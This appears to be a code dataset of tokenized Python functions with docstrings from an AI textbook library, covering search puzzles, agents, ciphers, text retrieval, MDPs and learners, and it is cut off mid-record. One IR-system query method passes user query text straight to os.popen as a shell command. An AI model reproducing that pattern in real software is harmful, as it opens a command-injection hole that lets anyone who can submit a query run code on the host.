{"signature": "def actions(self, state):", "body": "if state[-<NUM_LIT:1>] is not None:<EOL><INDENT>return []  <EOL><DEDENT>else:<EOL><INDENT>col = state.index(None)<EOL>return [row for row in range(self.N)<EOL>if not self.conflicted(state, row, col)]<EOL><DEDENT>", "docstring": "In the leftmost empty column, try all non-conflicting rows.", "id": "f1675:c6:m1"}
{"signature": "def result(self, state, row):", "body": "col = state.index(None)<EOL>new = state[:]<EOL>new[col] = row<EOL>return new<EOL>", "docstring": "Place the next queen at the given row.", "id": "f1675:c6:m2"}
{"signature": "def conflicted(self, state, row, col):", "body": "return any(self.conflict(row, col, state[c], c)<EOL>for c in range(col))<EOL>", "docstring": "Would placing a queen at (row, col) conflict with anything?", "id": "f1675:c6:m3"}
{"signature": "def conflict(self, row1, col1, row2, col2):", "body": "return (row1 == row2 <EOL>or col1 == col2 <EOL>or row1-col1 == row2-col2  <EOL>or row1+col1 == row2+col2)<EOL>", "docstring": "Would putting two queens in (row1, col1) and (row2, col2) conflict?", "id": "f1675:c6:m4"}
{"signature": "def lookup(self, prefix, lo=<NUM_LIT:0>, hi=None):", "body": "words = self.words<EOL>if hi is None: hi = len(words)<EOL>i = bisect.bisect_left(words, prefix, lo, hi)<EOL>if i < len(words) and words[i].startswith(prefix):<EOL><INDENT>return i, (words[i] == prefix)<EOL><DEDENT>else:<EOL><INDENT>return None, False<EOL><DEDENT>", "docstring": "See if prefix is in dictionary, as a full word or as a prefix.\n        Return two values: the first is the lowest i such that\n        words[i].startswith(prefix), or is None; the second is\n        True iff prefix itself is in the Wordlist.", "id": "f1675:c7:m1"}
{"signature": "def set_board(self, board=None):", "body": "if board is None:<EOL><INDENT>board = random_boggle()<EOL><DEDENT>self.board = board<EOL>self.neighbors = boggle_neighbors(len(board))<EOL>self.found = {}<EOL>for i in range(len(board)):<EOL><INDENT>lo, hi = self.wordlist.bounds[board[i]]<EOL>self.find(lo, hi, i, [], '<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Set the board, and find all the words in it.", "id": "f1675:c8:m1"}
{"signature": "def find(self, lo, hi, i, visited, prefix):", "body": "if i in visited:<EOL><INDENT>return<EOL><DEDENT>wordpos, is_word = self.wordlist.lookup(prefix, lo, hi)<EOL>if wordpos is not None:<EOL><INDENT>if is_word:<EOL><INDENT>self.found[prefix] = True<EOL><DEDENT>visited.append(i)<EOL>c = self.board[i]<EOL>if c == '<STR_LIT>': c = '<STR_LIT>'<EOL>prefix += c<EOL>for j in self.neighbors[i]:<EOL><INDENT>self.find(wordpos, hi, j, visited, prefix)<EOL><DEDENT>visited.pop()<EOL><DEDENT>", "docstring": "Looking in square i, find the words that continue the prefix,\n        considering the entries in self.wordlist.words[lo:hi], and not\n        revisiting the squares in visited.", "id": "f1675:c8:m2"}
{"signature": "def words(self):", "body": "return list(self.found.keys())<EOL>", "docstring": "The words found.", "id": "f1675:c8:m3"}
{"signature": "def score(self):", "body": "return sum([self.scores[len(w)] for w in self.words()])<EOL>", "docstring": "The total score for the words found, according to the rules.", "id": "f1675:c8:m4"}
{"signature": "def __len__(self):", "body": "return len(self.found)<EOL>", "docstring": "The number of words found.", "id": "f1675:c8:m5"}
{"signature": "def TraceAgent(agent):", "body": "old_program = agent.program<EOL>def new_program(percept):<EOL><INDENT>action = old_program(percept)<EOL>print('<STR_LIT>' % (agent, percept, action))<EOL>return action<EOL><DEDENT>agent.program = new_program<EOL>return agent<EOL>", "docstring": "Wrap the agent's program to print its input and output. This will let\n    you see what the agent is doing in the environment.", "id": "f1676:m0"}
{"signature": "def TableDrivenAgentProgram(table):", "body": "percepts = []<EOL>def program(percept):<EOL><INDENT>percepts.append(percept)<EOL>action = table.get(tuple(percepts))<EOL>return action<EOL><DEDENT>return program<EOL>", "docstring": "This agent selects an action based on the percept sequence.\n    It is practical only for tiny domains.\n    To customize it, provide as table a dictionary of all\n    {percept_sequence:action} pairs. [Fig. 2.7]", "id": "f1676:m1"}
{"signature": "def RandomAgentProgram(actions):", "body": "return lambda percept: random.choice(actions)<EOL>", "docstring": "An agent that chooses an action at random, ignoring all percepts.", "id": "f1676:m2"}
{"signature": "def SimpleReflexAgentProgram(rules, interpret_input):", "body": "def program(percept):<EOL><INDENT>state = interpret_input(percept)<EOL>rule = rule_match(state, rules)<EOL>action = rule.action<EOL>return action<EOL><DEDENT>return program<EOL>", "docstring": "This agent takes action based solely on the percept. [Fig. 2.10]", "id": "f1676:m3"}
{"signature": "def ModelBasedReflexAgentProgram(rules, update_state):", "body": "def program(percept):<EOL><INDENT>program.state = update_state(program.state, program.action, percept)<EOL>rule = rule_match(program.state, rules)<EOL>action = rule.action<EOL>return action<EOL><DEDENT>program.state = program.action = None<EOL>return program<EOL>", "docstring": "This agent takes action based on the percept and state. [Fig. 2.12]", "id": "f1676:m4"}
{"signature": "def rule_match(state, rules):", "body": "for rule in rules:<EOL><INDENT>if rule.matches(state):<EOL><INDENT>return rule<EOL><DEDENT><DEDENT>", "docstring": "Find the first rule that matches state.", "id": "f1676:m5"}
{"signature": "def RandomVacuumAgent():", "body": "return Agent(RandomAgentProgram(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']))<EOL>", "docstring": "Randomly choose one of the actions from the vacuum environment.", "id": "f1676:m6"}
{"signature": "def TableDrivenVacuumAgent():", "body": "table = {((loc_A, '<STR_LIT>'),): '<STR_LIT>',<EOL>((loc_A, '<STR_LIT>'),): '<STR_LIT>',<EOL>((loc_B, '<STR_LIT>'),): '<STR_LIT>',<EOL>((loc_B, '<STR_LIT>'),): '<STR_LIT>',<EOL>((loc_A, '<STR_LIT>'), (loc_A, '<STR_LIT>')): '<STR_LIT>',<EOL>((loc_A, '<STR_LIT>'), (loc_A, '<STR_LIT>')): '<STR_LIT>',<EOL>((loc_A, '<STR_LIT>'), (loc_A, '<STR_LIT>'), (loc_A, '<STR_LIT>')): '<STR_LIT>',<EOL>((loc_A, '<STR_LIT>'), (loc_A, '<STR_LIT>'), (loc_A, '<STR_LIT>')): '<STR_LIT>',<EOL>}<EOL>return Agent(TableDrivenAgentProgram(table))<EOL>", "docstring": "[Fig. 2.3]", "id": "f1676:m7"}
{"signature": "def ReflexVacuumAgent():", "body": "def program(xxx_todo_changeme):<EOL><INDENT>(location, status) = xxx_todo_changeme<EOL>if status == '<STR_LIT>': return '<STR_LIT>'<EOL>elif location == loc_A: return '<STR_LIT>'<EOL>elif location == loc_B: return '<STR_LIT>'<EOL><DEDENT>return Agent(program)<EOL>", "docstring": "A reflex agent for the two-state vacuum environment. [Fig. 2.8]", "id": "f1676:m8"}
{"signature": "def ModelBasedVacuumAgent():", "body": "model = {loc_A: None, loc_B: None}<EOL>def program(xxx_todo_changeme1):<EOL><INDENT>\"<STR_LIT>\"<EOL>(location, status) = xxx_todo_changeme1<EOL>model[location] = status <EOL>if model[loc_A] == model[loc_B] == '<STR_LIT>': return '<STR_LIT>'<EOL>elif status == '<STR_LIT>': return '<STR_LIT>'<EOL>elif location == loc_A: return '<STR_LIT>'<EOL>elif location == loc_B: return '<STR_LIT>'<EOL><DEDENT>return Agent(program)<EOL>", "docstring": "An agent that keeps track of what locations are clean or dirty.", "id": "f1676:m9"}
{"signature": "def compare_agents(EnvFactory, AgentFactories, n=<NUM_LIT:10>, steps=<NUM_LIT:1000>):", "body": "envs = [EnvFactory() for i in range(n)]<EOL>return [(A, test_agent(A, steps, copy.deepcopy(envs)))<EOL>for A in AgentFactories]<EOL>", "docstring": "See how well each of several agents do in n instances of an environment.\n    Pass in a factory (constructor) for environments, and several for agents.\n    Create n instances of the environment, and run each agent in copies of\n    each one for steps. Return a list of (agent, average-score) tuples.", "id": "f1676:m10"}
{"signature": "def is_alive(self):", "body": "return hasattr(self, '<STR_LIT>') and self.alive<EOL>", "docstring": "Things that are 'alive' should return true.", "id": "f1676:c0:m1"}
{"signature": "def show_state(self):", "body": "print(\"<STR_LIT>\")<EOL>", "docstring": "Display the agent's internal state.  Subclasses should override.", "id": "f1676:c0:m2"}
{"signature": "def display(self, canvas, x, y, width, height):<EOL>", "body": "pass<EOL>", "docstring": "Display an image of this Thing on the canvas.", "id": "f1676:c0:m3"}
{"signature": "def can_grab(self, thing):", "body": "return False<EOL>", "docstring": "Returns True if this agent can grab this thing.\n        Override for appropriate subclasses of Agent and Thing.", "id": "f1676:c1:m1"}
{"signature": "def percept(self, agent):", "body": "abstract<EOL>", "docstring": "Return the percept that the agent sees at this point. (Implement this.)", "id": "f1676:c2:m2"}
{"signature": "def execute_action(self, agent, action):", "body": "abstract<EOL>", "docstring": "Change the world to reflect this action. (Implement this.)", "id": "f1676:c2:m3"}
{"signature": "def default_location(self, thing):", "body": "return None<EOL>", "docstring": "Default location to place a new thing with unspecified location.", "id": "f1676:c2:m4"}
{"signature": "def exogenous_change(self):", "body": "pass<EOL>", "docstring": "If there is spontaneous change in the world, override this.", "id": "f1676:c2:m5"}
{"signature": "def is_done(self):", "body": "return not any(agent.is_alive() for agent in self.agents)<EOL>", "docstring": "By default, we're done when we can't find a live agent.", "id": "f1676:c2:m6"}
{"signature": "def step(self):", "body": "if not self.is_done():<EOL><INDENT>actions = [agent.program(self.percept(agent))<EOL>for agent in self.agents]<EOL>for (agent, action) in zip(self.agents, actions):<EOL><INDENT>self.execute_action(agent, action)<EOL><DEDENT>self.exogenous_change()<EOL><DEDENT>", "docstring": "Run the environment for one time step. If the\n        actions and exogenous changes are independent, this method will\n        do.  If there are interactions between them, you'll need to\n        override this method.", "id": "f1676:c2:m7"}
{"signature": "def run(self, steps=<NUM_LIT:1000>):", "body": "for step in range(steps):<EOL><INDENT>if self.is_done(): return<EOL>self.step()<EOL><DEDENT>", "docstring": "Run the Environment for given number of time steps.", "id": "f1676:c2:m8"}
{"signature": "def list_things_at(self, location, tclass=Thing):", "body": "return [thing for thing in self.things<EOL>if thing.location == location and isinstance(thing, tclass)]<EOL>", "docstring": "Return all things exactly at a given location.", "id": "f1676:c2:m9"}
{"signature": "def some_things_at(self, location, tclass=Thing):", "body": "return self.list_things_at(location, tclass) != []<EOL>", "docstring": "Return true if at least one of the things at location\n        is an instance of class tclass (or a subclass).", "id": "f1676:c2:m10"}
{"signature": "def add_thing(self, thing, location=None):", "body": "if not isinstance(thing, Thing):<EOL><INDENT>thing = Agent(thing)<EOL><DEDENT>assert thing not in self.things, \"<STR_LIT>\"<EOL>thing.location = location or self.default_location(thing)<EOL>self.things.append(thing)<EOL>if isinstance(thing, Agent):<EOL><INDENT>thing.performance = <NUM_LIT:0><EOL>self.agents.append(thing)<EOL><DEDENT>", "docstring": "Add a thing to the environment, setting its location. For\n        convenience, if thing is an agent program we make a new agent\n        for it. (Shouldn't need to override this.", "id": "f1676:c2:m11"}
{"signature": "def delete_thing(self, thing):", "body": "try:<EOL><INDENT>self.things.remove(thing)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>print(e)<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\" % (thing, thing.location))<EOL>print(\"<STR_LIT>\" % [(thing, thing.location)<EOL>for thing in self.things])<EOL><DEDENT>if thing in self.agents:<EOL><INDENT>self.agents.remove(thing)<EOL><DEDENT>", "docstring": "Remove a thing from the environment.", "id": "f1676:c2:m12"}
{"signature": "def things_near(self, location, radius=None):", "body": "if radius is None: radius = self.perceptible_distance<EOL>radius2 = radius * radius<EOL>return [thing for thing in self.things<EOL>if distance2(location, thing.location) <= radius2]<EOL>", "docstring": "Return all things within radius of location.", "id": "f1676:c3:m1"}
{"signature": "def percept(self, agent):", "body": "return [self.thing_percept(thing, agent)<EOL>for thing in self.things_near(agent.location)]<EOL>", "docstring": "By default, agent perceives things within a default radius.", "id": "f1676:c3:m2"}
{"signature": "def thing_percept(self, thing, agent): ", "body": "return thing.__class__.__name__<EOL>", "docstring": "Return the percept for this thing.", "id": "f1676:c3:m4"}
{"signature": "def move_to(self, thing, destination):", "body": "thing.bump = self.some_things_at(destination, Obstacle)<EOL>if not thing.bump:<EOL><INDENT>thing.location = destination<EOL>for o in self.observers:<EOL><INDENT>o.thing_moved(thing)<EOL><DEDENT><DEDENT>", "docstring": "Move a thing to a new location.", "id": "f1676:c3:m6"}
{"signature": "def add_walls(self):", "body": "for x in range(self.width):<EOL><INDENT>self.add_thing(Wall(), (x, <NUM_LIT:0>))<EOL>self.add_thing(Wall(), (x, self.height-<NUM_LIT:1>))<EOL><DEDENT>for y in range(self.height):<EOL><INDENT>self.add_thing(Wall(), (<NUM_LIT:0>, y))<EOL>self.add_thing(Wall(), (self.width-<NUM_LIT:1>, y))<EOL><DEDENT>", "docstring": "Put walls around the entire perimeter of the grid.", "id": "f1676:c3:m9"}
{"signature": "def add_observer(self, observer):", "body": "self.observers.append(observer)<EOL>", "docstring": "Adds an observer to the list of observers.\n        An observer is typically an EnvGUI.\n\n        Each observer is notified of changes in move_to and add_thing,\n        by calling the observer's methods thing_moved(thing)\n        and thing_added(thing, loc).", "id": "f1676:c3:m10"}
{"signature": "def turn_heading(self, heading, inc):", "body": "return turn_heading(heading, inc)<EOL>", "docstring": "Return the heading to the left (inc=+1) or right (inc=-1) of heading.", "id": "f1676:c3:m11"}
{"signature": "def percept(self, agent):", "body": "status = if_(self.some_things_at(agent.location, Dirt),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>bump = if_(agent.bump, '<STR_LIT>', '<STR_LIT:None>')<EOL>return (status, bump)<EOL>", "docstring": "The percept is a tuple of ('Dirty' or 'Clean', 'Bump' or 'None').\n        Unlike the TrivialVacuumEnvironment, location is NOT perceived.", "id": "f1676:c7:m2"}
{"signature": "def percept(self, agent):", "body": "return (agent.location, self.status[agent.location])<EOL>", "docstring": "Returns the agent's location, and the location status (Dirty/Clean).", "id": "f1676:c8:m2"}
{"signature": "def execute_action(self, agent, action):", "body": "if action == '<STR_LIT>':<EOL><INDENT>agent.location = loc_B<EOL>agent.performance -= <NUM_LIT:1><EOL><DEDENT>elif action == '<STR_LIT>':<EOL><INDENT>agent.location = loc_A<EOL>agent.performance -= <NUM_LIT:1><EOL><DEDENT>elif action == '<STR_LIT>':<EOL><INDENT>if self.status[agent.location] == '<STR_LIT>':<EOL><INDENT>agent.performance += <NUM_LIT:10><EOL><DEDENT>self.status[agent.location] = '<STR_LIT>'<EOL><DEDENT>", "docstring": "Change agent's location and/or location's status; track performance.\n        Score 10 for each dirt cleaned; -1 for each move.", "id": "f1676:c8:m3"}
{"signature": "def default_location(self, thing):", "body": "return random.choice([loc_A, loc_B])<EOL>", "docstring": "Agents start in either location at random.", "id": "f1676:c8:m4"}
{"signature": "def viterbi_segment(text, P):", "body": "<EOL>n = len(text)<EOL>words = ['<STR_LIT>'] + list(text)<EOL>best = [<NUM_LIT:1.0>] + [<NUM_LIT:0.0>] * n<EOL>for i in range(n+<NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:0>, i):<EOL><INDENT>w = text[j:i]<EOL>if P[w] * best[i - len(w)] >= best[i]:<EOL><INDENT>best[i] = P[w] * best[i - len(w)]<EOL>words[i] = w<EOL><DEDENT><DEDENT><DEDENT>sequence = []; i = len(words)-<NUM_LIT:1><EOL>while i > <NUM_LIT:0>:<EOL><INDENT>sequence[<NUM_LIT:0>:<NUM_LIT:0>] = [words[i]]<EOL>i = i - len(words[i])<EOL><DEDENT>return sequence, best[-<NUM_LIT:1>]<EOL>", "docstring": "Find the best segmentation of the string of characters, given the\n    UnigramTextModel P.", "id": "f1677:m0"}
{"signature": "def words(text, reg=re.compile('<STR_LIT>')):", "body": "return reg.findall(text.lower())<EOL>", "docstring": "Return a list of the words in text, ignoring punctuation and\n    converting everything to lowercase (to canonicalize).\n    >>> words(\"``EGAD!'' Edgar cried.\")\n    ['egad', 'edgar', 'cried']", "id": "f1677:m1"}
{"signature": "def canonicalize(text):", "body": "return '<STR_LIT:U+0020>'.join(words(text))<EOL>", "docstring": "Return a canonical text: only lowercase letters and blanks.\n    >>> canonicalize(\"``EGAD!'' Edgar cried.\")\n    'egad edgar cried'", "id": "f1677:m2"}
{"signature": "def shift_encode(plaintext, n):", "body": "return encode(plaintext, alphabet[n:] + alphabet[:n])<EOL>", "docstring": "Encode text with a shift cipher that moves each letter up by n letters.\n    >>> shift_encode('abc z', 1)\n    'bcd a'", "id": "f1677:m3"}
{"signature": "def rot13(plaintext):", "body": "return shift_encode(plaintext, <NUM_LIT>)<EOL>", "docstring": "Encode text by rotating letters by 13 spaces in the alphabet.\n    >>> rot13('hello')\n    'uryyb'\n    >>> rot13(rot13('hello'))\n    'hello'", "id": "f1677:m4"}
{"signature": "def encode(plaintext, code):", "body": "from string import maketrans<EOL>trans = maketrans(alphabet + alphabet.upper(), code + code.upper())<EOL>return plaintext.translate(trans)<EOL>", "docstring": "Encodes text, using a code which is a permutation of the alphabet.", "id": "f1677:m5"}
{"signature": "def bigrams(text):", "body": "return [text[i:i+<NUM_LIT:2>] for i in range(len(text) - <NUM_LIT:1>)]<EOL>", "docstring": "Return a list of pairs in text (a sequence of letters or words).\n    >>> bigrams('this')\n    ['th', 'hi', 'is']\n    >>> bigrams(['this', 'is', 'a', 'test'])\n    [['this', 'is'], ['is', 'a'], ['a', 'test']]", "id": "f1677:m6"}
{"signature": "def all_shifts(text):", "body": "return [shift_encode(text, n) for n in range(len(alphabet))]<EOL>", "docstring": "Return a list of all 26 possible encodings of text by a shift cipher.", "id": "f1677:m7"}
{"signature": "def samples(self, n):", "body": "return '<STR_LIT:U+0020>'.join([self.sample() for i in range(n)])<EOL>", "docstring": "Return a string of n words, random according to the model.", "id": "f1677:c0:m0"}
{"signature": "def add(self, ngram):", "body": "CountingProbDist.add(self, ngram)<EOL>self.cond_prob[ngram[:-<NUM_LIT:1>]].add(ngram[-<NUM_LIT:1>])<EOL>", "docstring": "Count 1 for P[(w1, ..., wn)] and for P(wn | (w1, ..., wn-1)", "id": "f1677:c1:m1"}
{"signature": "def add_sequence(self, words):", "body": "n = self.n<EOL>words = ['<STR_LIT>',] * (n-<NUM_LIT:1>) + words<EOL>for i in range(len(words)-n):<EOL><INDENT>self.add(tuple(words[i:i+n]))<EOL><DEDENT>", "docstring": "Add each of the tuple words[i:i+n], using a sliding window.\n        Prefix some copies of the empty word, '', to make the start work.", "id": "f1677:c1:m2"}
{"signature": "def samples(self, nwords):", "body": "n = self.n<EOL>nminus1gram = ('<STR_LIT>',) * (n-<NUM_LIT:1>)<EOL>output = []<EOL>for i in range(nwords):<EOL><INDENT>if nminus1gram not in self.cond_prob:<EOL><INDENT>nminus1gram = ('<STR_LIT>',) * (n-<NUM_LIT:1>) <EOL><DEDENT>wn = self.cond_prob[nminus1gram].sample()<EOL>output.append(wn)<EOL>nminus1gram = nminus1gram[<NUM_LIT:1>:] + (wn,)<EOL><DEDENT>return '<STR_LIT:U+0020>'.join(output)<EOL>", "docstring": "Build up a random sample of text nwords words long, using\n        the conditional probability given the n-1 preceding words.", "id": "f1677:c1:m3"}
{"signature": "def __init__(self, stopwords='<STR_LIT>'):", "body": "<EOL>update(self, index=DefaultDict(DefaultDict(<NUM_LIT:0>)),<EOL>stopwords=set(words(stopwords)), documents=[])<EOL>", "docstring": "Create an IR System. Optionally specify stopwords.", "id": "f1677:c2:m0"}
{"signature": "def index_collection(self, filenames):", "body": "for filename in filenames:<EOL><INDENT>self.index_document(open(filename).read(), filename)<EOL><DEDENT>", "docstring": "Index a whole collection of files.", "id": "f1677:c2:m1"}
{"signature": "def index_document(self, text, url):", "body": "<EOL>title = text[:text.index('<STR_LIT:\\n>')].strip()<EOL>docwords = words(text)<EOL>docid = len(self.documents)<EOL>self.documents.append(Document(title, url, len(docwords)))<EOL>for word in docwords:<EOL><INDENT>if word not in self.stopwords:<EOL><INDENT>self.index[word][docid] += <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Index the text of a document.", "id": "f1677:c2:m2"}
{"signature": "def query(self, query_text, n=<NUM_LIT:10>):", "body": "if query_text.startswith(\"<STR_LIT>\"):<EOL><INDENT>doctext = os.popen(query_text[len(\"<STR_LIT>\"):], '<STR_LIT:r>').read()<EOL>self.index_document(doctext, query_text)<EOL>return []<EOL><DEDENT>qwords = [w for w in words(query_text) if w not in self.stopwords]<EOL>shortest = argmin(qwords, lambda w: len(self.index[w]))<EOL>docs = self.index[shortest]<EOL>results = [(sum([self.score(w, d) for w in qwords]), d) for d in docs]<EOL>results.sort(); results.reverse()<EOL>return results[:n]<EOL>", "docstring": "Return a list of n (score, docid) pairs for the best matches.\n        Also handle the special syntax for 'learn: command'.", "id": "f1677:c2:m3"}
{"signature": "def score(self, word, docid):", "body": "<EOL>return (math.log(<NUM_LIT:1> + self.index[word][docid])<EOL>/ math.log(<NUM_LIT:1> + self.documents[docid].nwords))<EOL>", "docstring": "Compute a score for this word on this docid.", "id": "f1677:c2:m4"}
{"signature": "def present(self, results):", "body": "for (score, d) in results:<EOL><INDENT>doc = self.documents[d]<EOL>print (\"<STR_LIT>\"<EOL>% (<NUM_LIT:100> * score, doc.url, doc.title[:<NUM_LIT>].expandtabs()))<EOL><DEDENT>", "docstring": "Present the results as a list.", "id": "f1677:c2:m5"}
{"signature": "def present_results(self, query_text, n=<NUM_LIT:10>):", "body": "self.present(self.query(query_text, n))<EOL>", "docstring": "Get results for the query and present them.", "id": "f1677:c2:m6"}
{"signature": "def score(self, plaintext):", "body": "s = <NUM_LIT:1.0><EOL>for bi in bigrams(plaintext):<EOL><INDENT>s = s * self.P2[bi]<EOL><DEDENT>return s<EOL>", "docstring": "Return a score for text based on how common letters pairs are.", "id": "f1677:c5:m1"}
{"signature": "def decode(self, ciphertext):", "body": "return argmax(all_shifts(ciphertext), self.score)<EOL>", "docstring": "Return the shift decoding of text with the best score.", "id": "f1677:c5:m2"}
{"signature": "def decode(self, ciphertext):", "body": "self.ciphertext = ciphertext<EOL>problem = PermutationDecoderProblem(decoder=self)<EOL>return search.best_first_tree_search(<EOL>problem, lambda node: self.score(node.state))<EOL>", "docstring": "Search for a decoding of the ciphertext.", "id": "f1677:c6:m1"}
{"signature": "def score(self, code):", "body": "text = permutation_decode(self.ciphertext, code)<EOL>logP = (sum([log(self.Pwords[word]) for word in words(text)]) +<EOL>sum([log(self.P1[c]) for c in text]) +<EOL>sum([log(self.P2[b]) for b in bigrams(text)]))<EOL>return exp(logP)<EOL>", "docstring": "Score is product of word scores, unigram scores, and bigram scores.\n        This can get very small, so we use logs and exp.", "id": "f1677:c6:m2"}
{"signature": "def value_iteration(mdp, epsilon=<NUM_LIT>):", "body": "U1 = dict([(s, <NUM_LIT:0>) for s in mdp.states])<EOL>R, T, gamma = mdp.R, mdp.T, mdp.gamma<EOL>while True:<EOL><INDENT>U = U1.copy()<EOL>delta = <NUM_LIT:0><EOL>for s in mdp.states:<EOL><INDENT>U1[s] = R(s) + gamma * max([sum([p * U[s1] for (p, s1) in T(s, a)])<EOL>for a in mdp.actions(s)])<EOL>delta = max(delta, abs(U1[s] - U[s]))<EOL><DEDENT>if delta < epsilon * (<NUM_LIT:1> - gamma) / gamma:<EOL><INDENT>return U<EOL><DEDENT><DEDENT>", "docstring": "Solving an MDP by value iteration. [Fig. 17.4]", "id": "f1678:m0"}
{"signature": "def best_policy(mdp, U):", "body": "pi = {}<EOL>for s in mdp.states:<EOL><INDENT>pi[s] = argmax(mdp.actions(s), lambda a:expected_utility(a, s, U, mdp))<EOL><DEDENT>return pi<EOL>", "docstring": "Given an MDP and a utility function U, determine the best policy,\n    as a mapping from state to action. (Equation 17.4)", "id": "f1678:m1"}
{"signature": "def expected_utility(a, s, U, mdp):", "body": "return sum([p * U[s1] for (p, s1) in mdp.T(s, a)])<EOL>", "docstring": "The expected utility of doing a in state s, according to the MDP and U.", "id": "f1678:m2"}
{"signature": "def policy_iteration(mdp):", "body": "U = dict([(s, <NUM_LIT:0>) for s in mdp.states])<EOL>pi = dict([(s, random.choice(mdp.actions(s))) for s in mdp.states])<EOL>while True:<EOL><INDENT>U = policy_evaluation(pi, U, mdp)<EOL>unchanged = True<EOL>for s in mdp.states:<EOL><INDENT>a = argmax(mdp.actions(s), lambda a: expected_utility(a,s,U,mdp))<EOL>if a != pi[s]:<EOL><INDENT>pi[s] = a<EOL>unchanged = False<EOL><DEDENT><DEDENT>if unchanged:<EOL><INDENT>return pi<EOL><DEDENT><DEDENT>", "docstring": "Solve an MDP by policy iteration [Fig. 17.7]", "id": "f1678:m3"}
{"signature": "def policy_evaluation(pi, U, mdp, k=<NUM_LIT:20>):", "body": "R, T, gamma = mdp.R, mdp.T, mdp.gamma<EOL>for i in range(k):<EOL><INDENT>for s in mdp.states:<EOL><INDENT>U[s] = R(s) + gamma * sum([p * U[s1] for (p, s1) in T(s, pi[s])])<EOL><DEDENT><DEDENT>return U<EOL>", "docstring": "Return an updated utility mapping U from each state in the MDP to its\n    utility, using an approximation (modified policy iteration).", "id": "f1678:m4"}
{"signature": "def R(self, state):", "body": "return self.reward[state]<EOL>", "docstring": "Return a numeric reward for this state.", "id": "f1678:c0:m1"}
{"signature": "def T(self, state, action):", "body": "abstract<EOL>", "docstring": "Transition model.  From a state and an action, return a list\n        of (probability, result-state) pairs.", "id": "f1678:c0:m2"}
{"signature": "def actions(self, state):", "body": "if state in self.terminals:<EOL><INDENT>return [None]<EOL><DEDENT>else:<EOL><INDENT>return self.actlist<EOL><DEDENT>", "docstring": "Set of actions that can be performed in this state.  By default, a\n        fixed list of actions, except for terminal states. Override this\n        method if you need to specialize by state.", "id": "f1678:c0:m3"}
{"signature": "def go(self, state, direction):", "body": "state1 = vector_add(state, direction)<EOL>return if_(state1 in self.states, state1, state)<EOL>", "docstring": "Return the state that results from going in this direction.", "id": "f1678:c1:m2"}
{"signature": "def to_grid(self, mapping):", "body": "return list(reversed([[mapping.get((x,y), None)<EOL>for x in range(self.cols)]<EOL>for y in range(self.rows)]))<EOL>", "docstring": "Convert a mapping from (x, y) to v into a [[..., v, ...]] grid.", "id": "f1678:c1:m3"}
{"signature": "def parse_csv(input, delim='<STR_LIT:U+002C>'):", "body": "lines = [line for line in input.splitlines() if line.strip()]<EOL>return [list(map(num_or_str, line.split(delim))) for line in lines]<EOL>", "docstring": "r\"\"\"Input is a string consisting of lines, each line has comma-delimited\n    fields.  Convert this into a list of lists.  Blank lines are skipped.\n    Fields that look like numbers are converted to numbers.\n    The delim defaults to ',' but '\\t' and None are also reasonable values.\n    >>> parse_csv('1, 2, 3 \\n 0, 2, na')\n    [[1, 2, 3], [0, 2, 'na']]", "id": "f1680:m4"}
{"signature": "def PluralityLearner(dataset):", "body": "most_popular = mode([e[dataset.target] for e in dataset.examples])<EOL>def predict(example):<EOL><INDENT>\"<STR_LIT>\"<EOL>return most_popular<EOL><DEDENT>return predict<EOL>", "docstring": "A very dumb algorithm: always pick the result that was most popular\n    in the training data.  Makes a baseline for comparison.", "id": "f1680:m5"}
{"signature": "def NaiveBayesLearner(dataset):", "body": "targetvals = dataset.values[dataset.target]<EOL>target_dist = CountingProbDist(targetvals)<EOL>attr_dists = dict(((gv, attr), CountingProbDist(dataset.values[attr]))<EOL>for gv in targetvals<EOL>for attr in dataset.inputs)<EOL>for example in dataset.examples:<EOL><INDENT>targetval = example[dataset.target]<EOL>target_dist.add(targetval)<EOL>for attr in dataset.inputs:<EOL><INDENT>attr_dists[targetval, attr].add(example[attr])<EOL><DEDENT><DEDENT>def predict(example):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>def class_probability(targetval):<EOL><INDENT>return (target_dist[targetval]<EOL>* product(attr_dists[targetval, attr][example[attr]]<EOL>for attr in dataset.inputs))<EOL><DEDENT>return argmax(targetvals, class_probability)<EOL><DEDENT>return predict<EOL>", "docstring": "Just count how many times each value of each input attribute\n    occurs, conditional on the target value. Count the different\n    target values too.", "id": "f1680:m6"}
{"signature": "def NearestNeighborLearner(dataset, k=<NUM_LIT:1>):", "body": "def predict(example):<EOL><INDENT>\"<STR_LIT>\"<EOL>best = heapq.nsmallest(k, ((dataset.distance(e, example), e)<EOL>for e in dataset.examples))<EOL>return mode(e[dataset.target] for (d, e) in best)<EOL><DEDENT>return predict<EOL>", "docstring": "k-NearestNeighbor: the k nearest neighbors vote.", "id": "f1680:m7"}
{"signature": "def DecisionTreeLearner(dataset):", "body": "target, values = dataset.target, dataset.values<EOL>def decision_tree_learning(examples, attrs, parent_examples=()):<EOL><INDENT>if len(examples) == <NUM_LIT:0>:<EOL><INDENT>return plurality_value(parent_examples)<EOL><DEDENT>elif all_same_class(examples):<EOL><INDENT>return DecisionLeaf(examples[<NUM_LIT:0>][target])<EOL><DEDENT>elif len(attrs) == <NUM_LIT:0>:<EOL><INDENT>return plurality_value(examples)<EOL><DEDENT>else:<EOL><INDENT>A = choose_attribute(attrs, examples)<EOL>tree = DecisionFork(A, dataset.attrnames[A])<EOL>for (v_k, exs) in split_by(A, examples):<EOL><INDENT>subtree = decision_tree_learning(<EOL>exs, removeall(A, attrs), examples)<EOL>tree.add(v_k, subtree)<EOL><DEDENT>return tree<EOL><DEDENT><DEDENT>def plurality_value(examples):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>popular = argmax_random_tie(values[target],<EOL>lambda v: count(target, v, examples))<EOL>return DecisionLeaf(popular)<EOL><DEDENT>def count(attr, val, examples):<EOL><INDENT>return count_if(lambda e: e[attr] == val, examples)<EOL><DEDENT>def all_same_class(examples):<EOL><INDENT>\"<STR_LIT>\"<EOL>class0 = examples[<NUM_LIT:0>][target]<EOL>return all(e[target] == class0 for e in examples)<EOL><DEDENT>def choose_attribute(attrs, examples):<EOL><INDENT>\"<STR_LIT>\"<EOL>return argmax_random_tie(attrs,<EOL>lambda a: information_gain(a, examples))<EOL><DEDENT>def 